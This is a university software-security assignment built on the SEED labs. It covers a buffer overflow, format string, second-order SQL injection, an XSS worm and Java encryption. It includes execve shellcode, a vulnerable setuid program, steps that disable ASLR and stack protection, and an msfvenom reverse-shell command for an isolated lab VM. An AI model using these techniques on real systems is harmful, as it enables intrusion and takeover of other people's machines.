FIT 5003 Software Security Assignment (S1 2022) Total Marks 100 Due on 27th May 2022, Friday midnight, 11:59:59 pm 1 Overview The learning objective of this assignment is for you to gain a first-hand experience on how to exploit the vulnerabilities (i.e., buffer overflow, format string, SQL injection and cross-site scripting attacks) discussed in this module. Also, you will have a chance to get a deeper understanding on how to use cryptographic algorithms correctly in practice. All tasks in this assignment can be done on “SeedVM” as used in labs. Please refer to Section 2 for submission notes. 2 Submission You need to submit a lab report (one single PDF file) to describe what you have done and what you have observed with screen shots whenever necessary; you also need to provide explanation or codes to the observations that are interesting or surprising. In your report, you need to answer all the questions listed in this manual. Please answer each question using at most 100 words. Typeset your report into .pdf format (make sure it can be opened with Adobe Reader) and name it as the format: [Your Name]-[Student ID]- FIT5003-Assignment, e.g., HarryPotter-12345678-FIT5003-Assignment.pdf. All source code if required should be embedded in your report. In addition, if a demonstration video is required, you should record your screen demonstration with your voice explanation and upload the video to your Monash Google Drive. The shared URL of the video should be mentioned in your report wherever required. You can use this free tool to make the video:https://monash-panopto.aarnet.edu.au/ ; other tools are also fine. Then, please upload the PDF file to Moodle. Note: the assignment is due on 27 May 2022, Friday midnight, 11:59:59 pm (Firm!). Late submission penalty: 10 points deduction per day. If you require a special consideration, the application should be submitted and notified at least three days in advance. Special Considerations are handled by and approved by the faculty and not by the teaching team (unless the special consideration is for a small time period extension of one or two days). Zero tolerance on plagiarism: If you are found cheating, penalties will be applied, i.e., a zero grade for the unit. University polices can be found at https://www.monash.edu/students/academic/ policies/academic-integrity 3 Buffer Overflow Vulnerability [30 Marks] The learning objective of this part is for you to gain the first-hand experience on buffer-overflow vulnerability by putting what they have learned about the vulnerability from class into action. Buffer overflow is defined as the condition in which a program attempts to write data beyond the boundaries of pre-allocated fixed length buffers. This vulnerability can be utilised by an attacker to alter the flow control of the program, even execute arbitrary pieces of code to enable remote access attacks. This vulnerability arises due to the mixing of the storage for data (e.g. buffers) and the storage for controls (e.g. return addresses): an overflow in the data part can affect the control flow of the program, because an overflow can change the return address. In this part, you will be given a program with a buffer-overflow vulnerability; the task is to develop a scheme to exploit the vulnerability and finally send a remote access to an attacker. In addition to the attacks, 1 you will be guided to walk through several protection schemes that have been implemented in the operating system to counter against the buffer overflow. You need to evaluate whether the schemes work or not and explain why. 3.1 Initial setup You can execute the tasks using our pre-built Ubuntu virtual machines. Ubuntu and other Linux dis- tributions have implemented several security mechanisms to make the buffer-overflow attack difficult. To simplify our attacks, we need to disable them first. Address Space Randomisation. Ubuntu and several other Linux-based systems uses address space ran- domisation to randomise the starting address of heap and stack. This makes guessing the exact addresses difficult; guessing addresses is one of the critical steps of buffer-overflow attacks. In this part, we disable these features using the following commands: $ su root Password: (enter root password "seedubuntu") # sysctl -w kernel.randomize_va_space=0 # exit The StackGuard Protection Scheme. The GCC compiler implements a security mechanism called “Stack Guard” to prevent buffer overflows. In the presence of this protection, buffer overflow will not work. You can disable this protection if you compile the program using the -fno-stack-protector switch. For example, to compile a program example.c with Stack Guard disabled, you may use the following command: $ gcc -fno-stack-protector example.c Non-Executable Stack. Ubuntu used to allow executable stacks, but this has now changed: the binary images of programs (and shared libraries) must declare whether they require executable stacks or not, i.e., they need to mark a field in the program header. Kernel or dynamic linker uses this marking to decide whether to make the stack of this running program executable or non-executable. This marking is done automatically by the recent versions of gcc, and by default, the stack is set to be non-executable. To change that, use the following option when compiling programs: For executable stack: $ gcc -z execstack -o test test.c For non-executable stack: $ gcc -z noexecstack -o test test.c 3.2 Warm Up: Shellcode Practice Before you start the attack, we want you to exercise with a shellcode example. A shellcode is the code to launch a shell. It is a list of carefully crafted instructions created by malicious users/attackers so that it can be executed once the code is injected into a vulnerable program. Therefore, it has to be loaded into the memory so that we can force the vulnerable program to jump to it. Consider the following program: 2 #include
int main( ) { char *name[2]; name[0] = ‘‘/bin/sh’’; name[1] = NULL; execve(name[0], name, NULL); } The shellcode that we use is the assembly version of the above program. The following program shows you how to launch a shell by executing a shellcode stored in a buffer. Practice Task: Please compile and run the following code, and see whether a shell is invoked. /* call_shellcode.c */ /*A program that creates a file containing code for launching shell*/ #include #include #include const char code[] = "\x31\xc0" /* Line 1: xorl %eax,%eax */ "\x50" /* Line 2: pushl %eax */ "\x68""//sh" /* Line 3: pushl $0x68732f2f */ "\x68""/bin" /* Line 4: pushl $0x6e69622f */ "\x89\xe3" /* Line 5: movl %esp,%ebx */ "\x50" /* Line 6: pushl %eax */ "\x53" /* Line 7: pushl %ebx */ "\x89\xe1" /* Line 8: movl %esp,%ecx */ "\x99" /* Line 9: cdq */ "\xb0\x0b" /* Line 10: movb $0x0b,%al */ "\xcd\x80" /* Line 11: int $0x80 */ ; int main(int argc, char **argv) { char buf[sizeof(code)]; strcpy(buf, code); ((void(*)( ))buf)( ); } Please use the following command to compile the code (don’t forget the execstack option): $ gcc -z execstack -g -o call_shellcode call_shellcode.c The shellcode is stored in the variable code in the above program. A few places in this shellcode are worth mentioning. First, the third instruction pushes “//sh”, rather than “/sh” into the stack. This is because 3 we need a 32-bit number here, and “/sh” has only 24 bits. Fortunately, “//” is equivalent to “/”, so we can get away with a double slash symbol. Second, before calling the execve() system call, we need to store name[0] (the address of the string), name (the address of the array), and NULL to the %ebx, %ecx, and %edx registers, respectively. Line 5 stores name[0] to %ebx; Line 8 stores name to %ecx; Line 9 sets %edx to zero. There are other ways to set %edx to zero (e.g., xorl %edx, %edx); the one (cdq) used here is simply a shorter instruction: it copies the sign (bit 31) of the value in the EAX register (which is 0 at this point) into every bit position in the EDX register, basically setting %edx to 0. Third, the system call execve() is called when we set %al to 11, and execute “int $0x80”. 3.3 The Vulnerable Program /* stack.c */ /* This program has a buffer overflow vulnerability. */ /* Our task is to exploit this vulnerability */ #include #include #include int bof(char *str, int studentId) { int bufferSize; bufferSize = 12 + studentId%32; char buffer[bufferSize]; /* The following statement has a buffer overflow problem */ strcpy(buffer, str); return 1; } int main(int argc, char **argv) { char str[517]; FILE *badfile; int studentId = ;// please put your student ID badfile = fopen("badfile", "r"); fread(str, sizeof(char), 517, badfile); bof(str,studentId); printf("Returned Properly\n"); return 1; } You need to enter your student ID to the variable studentId. Then, compile the above vulnerable program and make it set-root-uid. You can achieve this by compiling it in the root account and chmod the executable to 4755 (don’t forget to include the execstack and -fno-stack-protector options to turn off the non-executable stack and StackGuard protections): 4 $ su root Password (enter root password "seedubuntu") # gcc -g -o stack -z execstack -fno-stack-protector stack.c # chmod 4755 stack # exit The above program has a buffer overflow vulnerability. It first reads an input from a file called “badfile”, and then passes this input to another buffer in the function bof(). The original input can have a maxi- mum length of 517 bytes, but the buffer in bof() has a limited size in the range [12, 43] bytes. Because strcpy() does not check boundaries, buffer overflow will occur. It should be noted that the program gets its input from a file called “badfile”. This file is under users’ control. Now, our objective is to create the contents for “badfile”, such that when the vulnerable program copies the contents into its buffer, a remote access will be given to an attacker. 3.4 Task 1: Exploiting the Vulnerability [15 Marks] We provide you with a partially completed exploit code called exploit.c. The goal of this code is to con- struct contents for “badfile”. In this code, you need to inject a reverse shell into the variable shellcode, and then fill the variable buffer with appropriate contents. /* exploit.c */ /* A program that creates a file containing code for launching shell*/ #include #include #include char shellcode[]= /* add your reverse shellcode here*/; void main(int argc, char **argv) { char buffer[517]; FILE *badfile; /* Initialize buffer with 0x90 (NOP instruction) */ memset(&buffer, 0x90, 517); /* You need to fill the buffer with appropriate contents here */ /* Save the contents to the file "badfile" */ badfile = fopen("./badfile", "w"); fwrite(buffer, 517, 1, badfile); fclose(badfile); } You need to read Appendix A.1 to investigate how to create a reverse shellcode. Then, you also need to study how to simulate an attacker, who is listening at a specific address/port and waiting for the shell. 5 We refer you to Appendix A.2 for this simulation. After you finish the above program, compile and run it. This will generate the contents for “badfile”. Then run the vulnerable program stack. If your exploit is implemented correctly, the attacker should be able to get the reverse shell. Important: Please compile your vulnerable program first. Please note that the program exploit.c, which generates the badfile, can be compiled with the default Stack Guard protection enabled. This is because we are not going to overflow the buffer in this program. We will be overflowing the buffer in stack.c, which is compiled with the Stack Guard protection disabled. $ gcc -g -o exploit exploit.c $./exploit // create the badfile $./stack // launch the attack by running the vulnerable program If the attacker obtains the shell successfully, her terminal should be as follows (assuming that she is listening at the port 4444, and the program stack is running at the address 10.0.2.15). $[02/01/20]seed@VM:˜$ nc -lvp 4444 // listening at the port 4444 Listening on [0.0.0.0] (family 0, port 4444) Connection from [10.0.2.15] port 4444 [tcp/*] accepted Once the attacker obtains the shell, she can remotely manipulate all the current files where the program stack runs. Q1 (15 marks): Provide your video demonstration evidence to support and verify that you have performed the attack and it worked successfully. You need to upload your demo video to your Monash Google Drive and embed its shared link to your report so that the teaching team can view and verify your works. In the video, you need to demonstrate following key points: • The buffer overflow happens and the attacker receives the shell when the victim executes the vulnerable program stack. (5 marks if the attack works during your demonstration video) • Debug the program stack to investigate the return memory address and local variables in the function bof(). (5 marks for the debug demonstration and memory analysis) • Open the program exploit.c and explain clearly line by line how you structurise the content for “badfile”.(5 marks for your explanation during the demonstration video) Hint: Please read the Guidelines (Section 3.9) of this part. Also you can use the GNU debugger gdb to find the address of buffer[bufferSize] and “Return Address”, see Section 3.9 and Appendix A.3. Please note that providing incorrect student ID will result 0 mark for this task. The full marks only given if you have solid explanation with supporting memory address analysis. 3.5 Task 2: Address Randomisation [5 Marks] Now, we turn on the Ubuntu’s address randomisation. We run the same attack developed in the above task. Can you get a shell? If not, what is the problem? How does the address randomisation make your attacks difficult? You can use the following instructions to turn on the address randomisation: 6 $ su root Password: (enter root password "seedubuntu") # /sbin/sysctl -w kernel.randomize_va_space=2 If running the vulnerable code once does not get you the root shell, how about running it for many times? You can run ./stack in the following loop , and see what will happen. If your exploit program is designed properly, you should be able to get the root shell after a while. You can modify your exploit program to increase the probability of success (i.e., reduce the time that you have to wait). $ sh -c "while [ 1 ]; do ./stack; done;" Q2 (5 marks): Follow the above steps, and answer the highlight questions. You should describe your observation and explanation briefly. Furthermore, try whether you can obtain root shell again. [Marking scheme: 3 marks for the screenshot and 2 marks for the explanation and solutions]. 3.6 Task 3: Stack Guard [5 Marks] Before working on this task, remember to turn off the address randomisation first, or you will not know which protection helps achieve the protection. In our previous tasks, we disabled the “Stack Guard” protection mechanism in GCC when compiling the programs. In this task, you may consider repeating the above task in the presence of Stack Guard. To do that, you should compile the program without the -fno-stack-protector’ option. For this task, you will recompile the vulnerable program, stack.c, to use GCC’s Stack Guard, execute the stack program again, and report your observations. You may report any error messages you observe. In the GCC 4.3.3 and newer versions, Stack Guard is enabled by default. Therefore, you have to disable Stack Guard using the switch mentioned before. In earlier versions, it was disabled by default. If you use an older GCC version, you may not have to disable Stack Guard. Q3 (5 marks): Follow the above steps, and report your observations. [Marking scheme: 3 marks for the screenshot and 2 marks for the explanation and solutions] 3.7 Task 4: Non-executable Stack [5 Marks] Before working on this task, remember to turn off the address randomisation first, or you will not know which protection helps achieve the protection. In our previous tasks, we intentionally make stacks executable. In this task, we recompile our vulnerable program using the noexecstack option, and repeat the attack in the above task. Can you get a shell? If not, what is the problem? How does this protection scheme make your attacks difficult. You can use the following instructions to turn on the non-executable stack protection. # gcc -o stack -fno-stack-protector -z noexecstack stack.c It should be noted that non-executable stack only makes it impossible to run shellcode on the stack, but it does not prevent buffer-overflow attacks, because there are other ways to run malicious code after exploiting a buffer-overflow vulnerability. If you are using our SeedVM, whether the non-executable stack protection works or not depends on the CPU and the setting of your virtual machine, because this protection depends on the hardware feature that is 7 provided by CPU. If you find that the non-executable stack protection does not work, check our document (“Notes on Non-Executable Stack”) that is linked to the course web page, and see whether the instruction in the document can help solve your problem. If not, then you may need to figure out the problem yourself. Q4 (5 marks): Follow the above steps, and answer the highlight questions. You should describe your observation and explanation briefly. [Marking scheme: 3 marks for the screenshot and 2 marks for the explanation and solutions] 3.8 Task 5: Report Completion All codes for the vulnerability exploitation (exploit.c, stack.c, and badfile) need to be attached to your PDF report to obtain full marks. Failure to provide any of the above three files will result in a reduction of 2.5 marks for each file. Hint: Please use GHex to open and demonstrate the return address, nop sled and shellcode in badfile. 3.9 Guidelines We can load the shellcode into “badfile”, but it will not be executed because our instruction pointer will not be pointing to it. One thing we can do is to change the return address to point to the shellcode. But we have two problems: (1) we do not know where the return address is stored, and (2) we do not know where the shellcode is stored. To answer these questions, we need to understand the stack layout the execution enters a function. The following figure gives an example. str (a pointer to a string) Return Address Previous Frame Pointer (FP) buffer[0] … buffer[11] variable_a void func (char *str) { char buffer[12]; int variable_a; strcpy (buffer, str); } Int main() { char *str = “I am greater than 12 bytes”; func (str); } C u rr e n t F ra m e Current FP (a) A code example (b) Active Stack Frame in func() High Address Low Address Finding the address of the memory that stores the return address. From the figure, we know, if we can find out the address of buffer[] array, we can calculate where the return address is stored. Since the vulnerable program is a Set-UID program, you can make a copy of this program, and run it with your own privilege; this way you can debug the program (note that you cannot debug a Set-UID program). In the debugger, you can figure out the address of buffer[], and thus calculate the starting point of the malicious code. You can even modify the copied program, and ask the program to directly print out the address of buffer[]. The address of buffer[] may be slightly different when you run the Set-UID copy, instead of of your copy, but you should be quite close. If the target program is running remotely, and you may not be able to rely on the debugger to find out the address. However, you can always guess. The following facts make guessing a quite feasible approach: 8 • Stack usually starts at the same address. • Stack is usually not very deep: most programs do not push more than a few hundred or a few thousand bytes into the stack at any one time. • Therefore the range of addresses that we need to guess is actually quite small. Finding the starting point of the malicious code. If you can accurately calculate the address of buffer[], you should be able to accurately calculate the starting point of the malicious code. Even if you cannot accu- rately calculate the address (for example, for remote programs), you can still guess. To improve the chance of success, we can add a number of NOPs to the beginning of the malicious code; therefore, if we can jump to any of these NOPs, we can eventually get to the malicious code. The following figure depicts the attack. buffer [0] …... buffer [11] Previous FP Return Address str Malicious Code buffer [0] …... buffer [11] Previous FP Return Address str Malicious Code NOP NOP NOP …… (many NOP’s) (a) Jump to the malicious code (b) Improve the chance S ta c k ’s g ro w in g d ir e c ti o n Storing an long integer in a buffer: In your exploit program, you might need to store an long integer (4 bytes) into a buffer starting at buffer[i]. Since each buffer space is one byte long, the integer will actually occupy four bytes starting at buffer[i] (i.e., buffer[i] to buffer[i+3]). Because buffer and long are of different types, you cannot directly assign the integer to buffer; instead you can cast the buffer+i into an long pointer, and then assign the integer. The following code shows how to assign an long integer to a buffer starting at buffer[i]: char buffer[20]; long addr = 0xFFEEDD88; long *ptr = (long *) (buffer + i); *ptr = addr; 4 Format String Attack [20 Marks] For this task you are required to modify the memory using Format String vulnerability in the C program we have provided. This program takes 3 inputs from the user and outputs a secret at the end. Unlike the lab task we did, this program doesn’t print the content of the stack. You will have to use the additional input in this program to look at the stack. 9 4.1 Task 1: Modifying the memory using Format String vulnerability (20 Marks) Your goal is to exploit the format string vulnerability in order to change the third letter of the secret in the buffer. If the attack is successful the modified secret should display on the screen. The secret should be modified differently by each student. You can find your secret in the ’Assessment’ section in Moodle at the link ’Find your display text for Format String attack’. Notice that only the third letter is different from the original secret in the program. Q1: You need to upload your demo video to your Monash Google Drive and embed its shared link to your report so that the teaching team can view and verify your works. 1. Find the address of the character array (4 Marks). 2. Find the address of the third character (6 Marks). 3. Find the ASCII value of the character to be changed to (2 Marks). 4. Use the %n specifier to modify the memory accordingly (8 Marks). Hint: Use an ASCII table online to find out the hexadecimal representation of the letter you want to change to. Please note that you are not allowed to change the program code by any means. 10 5 SQL Injection Attack – Using SQLi Lab [20 Marks] SQL injection is a code injection technique that exploits the vulnerabilities in the interface between web ap- plications and database servers. The vulnerability is presented when user’s inputs are not correctly checked within the web applications before sending to the back-end database servers. Many web applications take inputs from users, and then use these inputs to construct SQL queries, so the web applications can pull the information out of the database. Web applications also use SQL queries to store information in the database. These are common practices in the development of web applications. When the SQL queries are not carefully constructed, SQL-injection vulnerabilities can occur. SQL-injection attacks is one of the most frequent attacks on web applications. In this part, we modify a web application called SQLi Lab, which is designed to be vulnerable to the SQL-Injection attack. Although the vulnerabilities are artificially created, they capture the common mistakes made by many web developers. Your goal in this part is to find ways to exploit the SQL-injection vulnerabilities, demonstrate the damage that can be achieved by the attacks, and master the techniques that can mitigate such attacks. The database of SQLi Lab, named Users, can be traced and manipulated when we login to MySQL Console by using following commands: mysql -u root -pseedubuntu show databases; use Users; describe credential; 5.1 Warm Up: Countermeasure for SQL Injection Attacks In the lab session, you have already conducted SQL injection attacks with SELECT and UPDATE statements. In this warm-up part, we are going to use prepared statements to tackle the above attacks. We will use UPDATE statements as the example. Setup Remark: You need to set the read/write permission for the seed user on the current website directory before doing this task by following the below commands on your terminal. Note that the . is important to indicate the path to the current directory. $ cd /var/www/SQLInjection/ $ sudo chmod -R 777 . In this task, you need to enable the prepared statement as a countermeasure against the SQL injection attacks. Here is an example of how to write a prepared statement based on the SELECT statement in Task 1. $sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ’$input_uname’ and Password=’$hashed_pwd’"; You can use the prepared statement to rewrite the above code that is vulnerable to SQL injection attacks: $stmt = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password 11 FROM credential WHERE name= ? and Password= ?"); $stmt->bind_param("ss", $input_uname, $hashed_pwd); $stmt->execute(); $stmt->bind_result($id, $name, $eid, $salary, $birth, $ssn, $phoneNumber, $address, $email, $nickname, $pwd); $stmt->fetch(); $stmt->close(); Practice Task: Following the above steps to fix the SQL injection vulnerability of UPDATE statement on the Edit Profile page. Then, check whether you can still exploit the vulnerability or not. Hint: the UPDATE statement is located in unsafe edit backend.php. 5.2 Task 1: Second Order Attacks [Max 20 Marks] In this task, you need to perform second order attacks to achieve different adversarial goals. Unlike direct injection flaws that execute injected queries immediately, second order attacks delay the execution until a later time. This means a malicious user can first inject a query fragment into a query as a trusted source. Then, the injected SQL will be executed in a secondary query that is vulnerable to SQL injection. We have extended SQLi Lab to assist you in exploring second order attacks and completing this task. You need to download all PHP source files of unsafe home.php, unsafe edit frontend.php, unsafe task load.php, unsafe view order.php, and unsafe tasks view.php from Moo- dle and place them to the same website’s directory. For instance, you can follow a below command to copy the file unsafe home.php located in /home/seed/Documents to that website’s directory. $ su root Password: (enter root password "seedubuntu") # cp /home/seed/Documents/unsafe_home.php /var/www/SQLInjection/ We also upgraded the database of SQLi Lab to enrich the website’s features. That are, a user can add tasks, set task sort preference, and view all his/her declared tasks. Note that you need to download a database script file, script.sql, from Moodle and execute it with MySQL Console before you can use these new features. For instance, you can follow the below commands to execute that script when it is stored in /home/seed/Documents. The execution will update your database scheme and insert new data as follows: mysql -u root -pseedubuntu show databases; use Users; source /home/seed/Documents/script.sql • Table tasks(TaskID,Name,Hours,Amount,Description,Owner,Type) stores the tasks of users, in which tasks(Owner) is a foreign key referring to credential(ID). Hence, only existing users in the table credential can create new tasks. You can use the command describe tasks; to know more information about this table scheme. 12 • Table preference(PreferenceID,favourite,Owner) records the task sort preference of users, in which preference(Owner) is a foreign key referring to credential(ID). Existing users can select one of the task information as their sorting preference. For instance, a following figure demonstrates how Alice can set her preference as Hours increasing. You can use the command describe preference; to know more information about this table scheme. • Function userIdMaxTasks() returns the ID of a user who has the maximum number of tasks in your database. In MySQL console, you can use the command select userIdMaxTasks(); to retrieve that result. • Function generateRandomUser() adds a new random user (with random Name and Password to the table credential). In MySQL console, you can use the command select generateRandomUser(); to perform this addition. • Function getNewestUserId() returns the ID of a newly created user in the table credential. • Stored procedure copyTasksToUser(in userID int(6) UNSIGNED) copies all tasks of other users to the user having that userID. You need to make sure the user with that userID exists in the table credential before using this stored procedure. For instance, in MySQL console, you can use the command call copyTasksToUser(6); to copies all tasks of other users to an existing user with userID=6. Q1: In a normal scenario, a user can add a new task multiple times and update his/her view preference with sorting by asc or desc. However, the website is vulnerable to the second order attacks when the user views all tasks. You can choose one of the following options to complete this task. But option 2 will allow you to obtain the full marks of this question. Note that, you will get 0 mark if you complete the task by not performing second order attack (i.e. manipulate the database manually in MySQL console). Option 1 (5 marks): You need to perform the attack to display all the tasks of the user who has the maximum number of tasks when you view your tasks. Provide your video demonstration evidence to support and verify that you have performed the attack and it worked successfully. Also, brief explain how to achieve the attack goal with your solution. [Marking scheme: In your recording, 3 marks are given if the attack is running successfully, 5 marks only given if you have a solid demonstration and explanation about how you inject queries and the attack works in your case.]. You need to upload your demo video to your Monash Google Drive and embed its shared link to your report so that the teaching team can view and verify your works. If you achieve the adversarial goal successfully, you will obtain the result like the following figure. Note that, the second table in the figure displays the tasks of that victim. 13 Option 2 (10 marks): Two tasks: 1. Perform a sequence of the second order attacks in order to transfer all the tasks of users to a new malicious user that you created. Note that creating that malicious user also has to be done by using the second order attack. [5 Marks] If you achieve the adversarial goal successfully, you will obtain the result like the following figure. Note that, the second table in the figure displays the malicious user who has the maximum number of tasks. The first table is blank due to no task remains for Ted user. 2. Find out the username of the malicious user, that you have created in the first step, and change its password to your student ID. Show a successful login to the application. [5 Marks] Provide your video demonstration evidence to support and verify that you have performed the attacks and it worked successfully. Also, brief explain how to achieve the attack goal with your solution.. You need to upload your demo video to your Monash Google Drive and embed its shared link to your report so that the teaching team can view and verify your works. 14 Q2 (5 marks) This opening question is independent from your selected option in Q1. In this question, you need to perform a second order attack on SQLi Lab to attack the performance of your MySQL server. [Marking scheme: In your recording, 3 marks are given if the attack is running suc- cessfully, 5 marks only given if you have a solid demonstration and explanation about how the attack works in your case.]. You need to upload your demo video to your Monash Google Drive and embed its shared link to your report so that the teaching team can view and verify your works. Hint: you can delay the query execution or shut down your MySQL server when a user views his/her declared tasks. Q3 (5 marks): Can you use prepared statements in the warm-up task to mitigate the second order attack? Why? Provide your theoretical mitigation solution against the second order attacks in your selected option of Q1. You do not need to change the PHP source files for this question. [Marking scheme: 3 marks for the explanation about why prepared statements can/cannot be used in your report. 2 marks for the mitigate solution.] 6 Cross-Site Scripting (XSS) Attack – Using Elgg [20 Marks] To demonstrate what attackers can do by exploiting XSS vulnerabilities, we have set up a web application named Elgg in our pre-built Ubuntu VM image. Elgg is a very popular open-source web application for social network, and it has implemented a number of countermeasures to remedy the XSS threat. To demon- strate how XSS attacks work, we have commented out these countermeasures in Elgg in our installation, intentionally making Elgg vulnerable to XSS attacks. Without the countermeasures, users can post any arbitrary message, including JavaScript programs, to the user profiles. You need to exploit this vulnerability by posting some malicious messages to their profiles; users who view these profiles will become victims. 6.1 Task 1: Modifying the Victim’s Profile [10 Marks] The objective of this task is to modify the victim’s profile when the victim visits Samy’s page. We will write an XSS worm to complete the task. 1. Send a message from victim’s profile to Samy with victim’s browser cookie. 2. Add Samy as a fiend in the victims profile. We need to write a malicious JavaScript program that forges HTTP requests directly from the victim’s browser, without the intervention of the attacker. To modify profile, we should first find out how a legitimate user edits or modifies his/her profile in Elgg. More specifically, we need to figure out how the HTTP POST/GET request is constructed to modify a user’s profile. We will use Firefox’s HTTP inspection tool. Once we understand how the modify-profile HTTP POST/GET request looks like, we can write a JavaScript 15 program to send out the same HTTP request. We provide a skeleton JavaScript code that aids in completing the task. The provided code should be placed in the “About Me” field of Samy’s profile page. This field provides two editing modes: Editor mode (default) and Text mode. The Editor mode adds extra HTML code to the text typed into the field, while the Text mode does not. Since we do not want any extra code added to our attacking code, the Text mode should be enabled before entering the above JavaScript code. This can be done by clicking on “Edit HTML”, which can be found at the top right of the “About Me” text field. Q1 (10 marks): Accomplish the above attack, and provide your screenshots in your report and the corresponding explanation to support and verify that you have performed the attack and it worked successfully. [Marking scheme: 2 marks for the screenshots in the report, and 8 marks for the explanation and solutions in the report] Hint: You may use HTTP inspection tool to see the HTTP request look like. 6.2 Task 2: Writing a Self-Propagating XSS Worm [10 Marks] In this task, you need to create an advanced XSS worm that can propagate itself. Namely, whenever some people view an infected profile, not only will their profiles be modified, the worm will also be propagated to their profiles, further affecting others who view these newly infected profiles. The malicious code uses DOM APIs to retrieve a copy of itself from the web page, and sends HTTP POST/GET requests to modify the others profile. You should try to embed this code into the malicious user’s (i.e. Samy) profile in order to accomplish the above attack. Q2 (10 Marks): You need to fill the “About Me” field in Samy’s profile with the malicious code (see the figure below), and use Alice’s account to access Samy’s page to see what happened. Then, try to use Boby’s account to access Alice’s page. Provide a video to demonstrate your observation with sufficient explanations. You need to upload your demo video to your Monash Google Drive and embed its shared link to your report so that the teaching team can view and verify your works. [Marking scheme: In your recording, 4 marks are given if the attack is running successfully, 6 marks are only given if you have a solid demonstration and explanation about how the attack works] 16 7 Providing secure code in Java programs [10 Marks] In this task we ask you to provide a small Java program that supports several security properties like confi- dentiality, integrity and authentication. The program will allow an administrator to offer secure storage of a file for a given user employing the Java keystore mechanism. More specifically: Part 1 Administrator User Authentication: 1. The Admin user logins with a username and password in order to get access to the Java program. This information is collected by the program. 2. The program concatenates the username and the password into one word (eg. usernamepassword) and uses the result as an input to a hash function (SHA 256) and generates the message digest. 3. The first 5 Bytes of the message digest are used as the password of an existing Java keystore (provided in Moodle as a file). 4. If the Keystore can be opened then the Administrator user is authenticated. Part 2 Secure storage Mechanism: 1. When the Keystore is open, the program prints out the available keystore entries and shows the fol- lowing information for each entry: the key alias, the certificate type and the cipher that is used. 2. The Administrator user provides from the standard input an alias of some user’s certificate in order to digitally sign the file. 3. The Administrator user also provides from the standard input the file name to be secured. 4. The program generates a random secret key (AES 256 in CBC mode) and IV, opens the file and encrypts it. 5. The program then encrypts the secret key and IV using public key encryption (RSA encryption). The provided alias by the administrator is used in order to extract the public key of a user. This key is used to encrypt the secret key and IV. 6. The two encrypted information (the encrypted secret key and the encrypted file) are concatenated. 7. The administrator’s entry in the keystore is used in order to digitally signed the concatenated result of the previous step. The Administrator’s private key stored in the administrator’s entry within the keystore is used. 8. The file is stored. Info: We provide you with a keystore called fit 5003 keystore.jks of type JKS. The keystore has an entry for the administrator user called user1 and three entries for simple users (only their certificates). The provided keystore can be opened if the administrator user provides the username: user1 and the password: passwd and the process described in the authentication mechanism is followed correctly. The password of the keystore and the password of the keystore entries are the same. 17 Using the above description design and implement the specified program in Java. Provide your video demonstration evidence where you showcase the functionality of the program and how you implemented it. You need to upload your demo video to your Monash Google Drive and embed its shared link to your report so that the teaching team can view and verify your works. In the video, you need to demonstrate following key points: 1. Showcase all the steps of the Administrator user Authentication Mechanism and all the steps of the Secure Storage Mechanism (5 marks for your explanation during the demonstration video) 2. Show very briefly the code that corresponds to the steps of the two mechanisms.(5 marks for your explanation of all the program’s steps during the demonstration video) Acknowledgement This assignment are based on the SEED project (Developing Instructional Laboratories for Computer SE- curity EDucation) at the website http://www.cis.syr.edu/˜wedu/seed/index.html. A Appendix A.1 Reverse Shell Creation A reverse shell (sometimes is known as a malicious shell) enables the connection from the target machine to the attacker’s machine. In this situation, the attacker’s machine acts as a server. It opens a communication on a port and waits for incoming connections. The target machine acts as a client connecting to that listener, and then finally the attacker receives the shell. These attacks are dangerous because they give an attacker an interactive shell on the target machine, allowing the attacker to manipulate file system/data. In this assignment, we use msfvenom module in Metasploit to generate the reverse shellcode. Metas- ploit is one of the most powerful and widely used tools for exploring/testing the vulnerability of computer systems or to break into remote systems. You first install Metasploit by openning a terminal and entering the following command. Note that the command is one-line command without line breaks. curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/ master/config/templates/metasploit-framework-wrappers/ msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall To see msfvenom help, you can use msfvenom -h . To generate a reverse shell, you can use the following command. You should wait few seconds to obtain the reverse shellcode. msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.2.15 LPORT=4444 -f c where -p is a payload type (in this case it’s for 32-bit Linux reverse shell binary), LHOST is your SEED machine’s IP address (assuming you’re the attacker), LPORT is the port where the attacker is listening, and -f is a format (c in this case). 18 A.2 Netcat Listener In this assignment, we use Netcat to simulate the attacker’s listener. Fortunately, Netcat is already installed in SeedVM. It’s a versatile tool that has been dubbed the Hackers’ Swiss Army Knife. It’s the most basic feature is to read and write to TCP and UDP ports. Therfore, it enables Netcat can be run as a client or a server. To see Netcat help, you can type nc -h in terminal. If you want to connect to a webserver (10.2.2.2) on port 80, you can type nc -nv 10.2.2.2 80 And if you want your computer to listen on port 80, you can type nc -lvp 80 A.3 GNU Debugger The GNU debugger gdb is a very powerful tool that is extremely useful all around computer science, and MIGHT be useful for this task. A basic gdb workflow begins with loading the executable in the debugger: gdb executable You can then start running the problem with: $ run [arguments-to-the-executable] (Note, here we have changed gdb’s default prompt of (gdb) to $). In order to stop the execution at a specific line, set a breakpoint before issuing the ”run” command. When execution halts at that line, you can then execute step-wise (commands next and step) or continue (command continue) until the next breakpoint or the program terminates. $ break line-number or function-name $ run [arguments-to-the-executable] $ step # branch into function calls $ next # step over function calls $ continue # execute until next breakpoint or program termination Once execution stops, you will find it useful to look at the stack backtrace and the layout of the current stack frame: $ backtrace $ info frame 0 $ info registers You can navigate between stack frames using the up and down commands. To inspect memory at a particular location, you can use the x/FMT command $ x/16 $esp $ x/32i 0xdeadbeef $ x/64s &buf where the FMT suffix after the slash indicates the output format. Other helpful commands are disassemble and info symbol. You can get a short description of each command via 19 $ help command In addition, Neo left a concise summary of all gdb commands at: http://vividmachines.com/gdbrefcard.pdf You may find it very helpful to dump the memory image (“core”) of a program that crashes. The core captures the process state at the time of the crash, providing a snapshot of the virtual address space, stack frames, etc., at that time. You can activate core dumping with the shell command: % ulimit -c unlimited A crashing program then leaves a file core in the current directory, which you can then hand to the debugger together with the executable: gdb executable core $ bt # same as backtrace $ up # move up the call stack $ i f 1 # same as "info frame 1" $ ... Lastly, here is how you step into a second program bar that is launched by a first program foo: gdb -e foo -s bar # load executable foo and symbol table of bar $ set follow-fork-mode child # enable debugging across programs $ b bar:f # breakpoint at function f in program bar $ r # run foo and break at f in bar 20 欢迎咨询51作业君